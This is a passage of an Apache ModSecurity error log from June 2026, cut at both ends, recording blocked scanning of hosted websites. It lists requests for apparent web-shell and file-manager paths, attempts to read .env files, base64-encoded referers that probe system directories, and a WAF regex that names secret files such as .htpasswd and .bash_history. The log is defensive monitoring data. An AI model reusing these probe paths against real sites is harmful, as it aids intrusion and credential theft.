531797:tid 532022] [client 20.151.217.54:57513] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/momo.php"] [unique_id "ai3xesTA7b1mZrmcA-8leAAAAi4"] [Sat Jun 13 18:10:34.069928 2026] [security2:error] [pid 531797:tid 531868] [remote 17.246.19.130:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xesTA7b1mZrmcA-8lfwACjAQ"] [Sat Jun 13 18:10:34.128284 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.44:60487] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:34.128772 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.44:60487] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:34.162152 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.51:22694] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:34.162591 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.51:22694] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:34.178841 2026] [access_compat:error] [pid 531797:tid 531951] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:34.179277 2026] [access_compat:error] [pid 531797:tid 531951] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:34.186005 2026] [security2:error] [pid 531797:tid 532015] [client 20.9.67.71:36104] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xesTA7b1mZrmcA-8liwAAAic"] [Sat Jun 13 18:10:34.310127 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:34.310593 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:34.378746 2026] [security2:error] [pid 531797:tid 532111] [client 20.151.217.54:9352] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/spawns.php"] [unique_id "ai3xesTA7b1mZrmcA-8lkwAAAoQ"] [Sat Jun 13 18:10:34.447535 2026] [security2:error] [pid 531155:tid 531398] [client 172.171.3.232:17479] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/drykl.php"] [unique_id "ai3xeimiP80klyS0Nnr33AAAAXs"] [Sat Jun 13 18:10:34.475681 2026] [security2:error] [pid 531797:tid 532001] [client 74.7.241.177:56198] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "geyserjz.com"] [uri "/index.php"] [unique_id "ai3xesTA7b1mZrmcA-8lgQAAAhk"] [Sat Jun 13 18:10:34.636993 2026] [access_compat:error] [pid 531797:tid 531989] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:34.637416 2026] [access_compat:error] [pid 531797:tid 531989] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:34.649560 2026] [security2:error] [pid 531155:tid 531228] [remote 57.141.14.99:25192] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xeimiP80klyS0Nnr34gABWEg"], referer: https://nelsonfarmstn.com/product/beeswax-lip-balm/?add_to_wishlist=1256&_wpnonce=dacad5c21f&add-to-cart=1258 [Sat Jun 13 18:10:34.658563 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.61:45716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:34.659014 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.61:45716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:34.715031 2026] [security2:error] [pid 531155:tid 531225] [remote 57.141.14.99:25196] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xeimiP80klyS0Nnr36AABT0U"], referer: https://nelsonfarmstn.com/product/sparkling-clean/?add_to_wishlist=388&_wpnonce=dacad5c21f&add-to-cart=1256 [Sat Jun 13 18:10:34.752988 2026] [security2:error] [pid 531797:tid 532122] [client 191.234.188.123:48043] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/obfuscate.php"] [unique_id "ai3xesTA7b1mZrmcA-8lqwAAAo4"] [Sat Jun 13 18:10:34.829120 2026] [security2:error] [pid 531155:tid 531318] [client 20.151.217.54:9440] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/dragonshell.php"] [unique_id "ai3xeimiP80klyS0Nnr37QAAASs"] [Sat Jun 13 18:10:34.832102 2026] [security2:error] [pid 531155:tid 531335] [client 20.9.67.71:36221] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xeimiP80klyS0Nnr37gAAATw"] [Sat Jun 13 18:10:34.833740 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:34.834218 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:34.861958 2026] [security2:error] [pid 531155:tid 531172] [remote 17.246.15.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xeimiP80klyS0Nnr38AABXRA"] [Sat Jun 13 18:10:34.974563 2026] [security2:error] [pid 531155:tid 531389] [client 20.151.217.54:40151] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/x.php"] [unique_id "ai3xeimiP80klyS0Nnr39AAAAXI"] [Sat Jun 13 18:10:35.081121 2026] [security2:error] [pid 531797:tid 532080] [client 20.9.67.71:47512] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "steaminnovationfoundation-org.nucreativesolutions.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xe8TA7b1mZrmcA-8ltAAAAmY"] [Sat Jun 13 18:10:35.137944 2026] [security2:error] [pid 531797:tid 531985] [remote 17.246.15.25:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 25.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xe8TA7b1mZrmcA-8luAACZXg"] [Sat Jun 13 18:10:35.141943 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.77:55791] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:35.142364 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.77:55791] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:35.145222 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.108:58677] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:35.145482 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.108:58677] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:35.158002 2026] [access_compat:error] [pid 531797:tid 531969] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:35.158421 2026] [access_compat:error] [pid 531797:tid 531969] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:35.305947 2026] [security2:error] [pid 531155:tid 531364] [client 20.151.217.54:9360] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/samll.php"] [unique_id "ai3xeymiP80klyS0Nnr3-QAAAVk"] [Sat Jun 13 18:10:35.364773 2026] [security2:error] [pid 531797:tid 531924] [remote 17.22.253.66:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 66.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xe8TA7b1mZrmcA-8lxAACHTw"] [Sat Jun 13 18:10:35.380316 2026] [access_compat:error] [pid 531155:tid 531159] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0 [Sat Jun 13 18:10:35.380616 2026] [access_compat:error] [pid 531155:tid 531159] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0 [Sat Jun 13 18:10:35.445920 2026] [access_compat:error] [pid 531797:tid 531974] [remote 57.141.14.102:20431] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:35.446184 2026] [access_compat:error] [pid 531797:tid 531974] [remote 57.141.14.102:20431] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:35.700390 2026] [security2:error] [pid 531797:tid 532020] [client 20.9.67.71:36193] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/wpconf.php"] [unique_id "ai3xe8TA7b1mZrmcA-8l0QAAAiw"] [Sat Jun 13 18:10:35.712176 2026] [security2:error] [pid 531155:tid 531254] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/wp-content/uploads/2024/.env"] [unique_id "ai3xeymiP80klyS0Nnr3_gABImI"] [Sat Jun 13 18:10:35.727774 2026] [access_compat:error] [pid 531797:tid 531945] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:35.728187 2026] [access_compat:error] [pid 531797:tid 531945] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:35.770248 2026] [security2:error] [pid 531155:tid 531204] [remote 17.246.23.215:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 215.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xeymiP80klyS0Nnr3_wABKDA"] [Sat Jun 13 18:10:35.842904 2026] [security2:error] [pid 531155:tid 531348] [client 172.171.3.232:35616] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/class-wp-image.php"] [unique_id "ai3xeymiP80klyS0Nnr4AwAAAUk"] [Sat Jun 13 18:10:35.849032 2026] [security2:error] [pid 531155:tid 531213] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/wp-content/uploads/2025/.env"] [unique_id "ai3xeymiP80klyS0Nnr4BAABJDk"] [Sat Jun 13 18:10:35.859077 2026] [security2:error] [pid 531155:tid 531286] [client 191.233.234.186:40311] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/wolf.php"] [unique_id "ai3xeymiP80klyS0Nnr4BgAAAQs"] [Sat Jun 13 18:10:35.897570 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL2RyaXZlcg== [Sat Jun 13 18:10:35.898019 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL2RyaXZlcg== [Sat Jun 13 18:10:35.921038 2026] [access_compat:error] [pid 531797:tid 531880] [remote 57.141.14.99:21016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:35.921504 2026] [access_compat:error] [pid 531797:tid 531880] [remote 57.141.14.99:21016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:36.241127 2026] [access_compat:error] [pid 531797:tid 531866] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:36.241578 2026] [access_compat:error] [pid 531797:tid 531866] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:36.274544 2026] [security2:error] [pid 531797:tid 532047] [client 20.9.67.71:41862] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.naturistavanessa.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3xfMTA7b1mZrmcA-8l5wAAAkU"] [Sat Jun 13 18:10:36.358739 2026] [access_compat:error] [pid 531797:tid 531908] [remote 57.141.14.91:51960] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:36.359023 2026] [access_compat:error] [pid 531797:tid 531908] [remote 57.141.14.91:51960] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:36.393519 2026] [security2:error] [pid 531797:tid 532071] [client 20.9.67.71:36097] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3xfMTA7b1mZrmcA-8l7AAAAl0"] [Sat Jun 13 18:10:36.417429 2026] [access_compat:error] [pid 531155:tid 531227] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 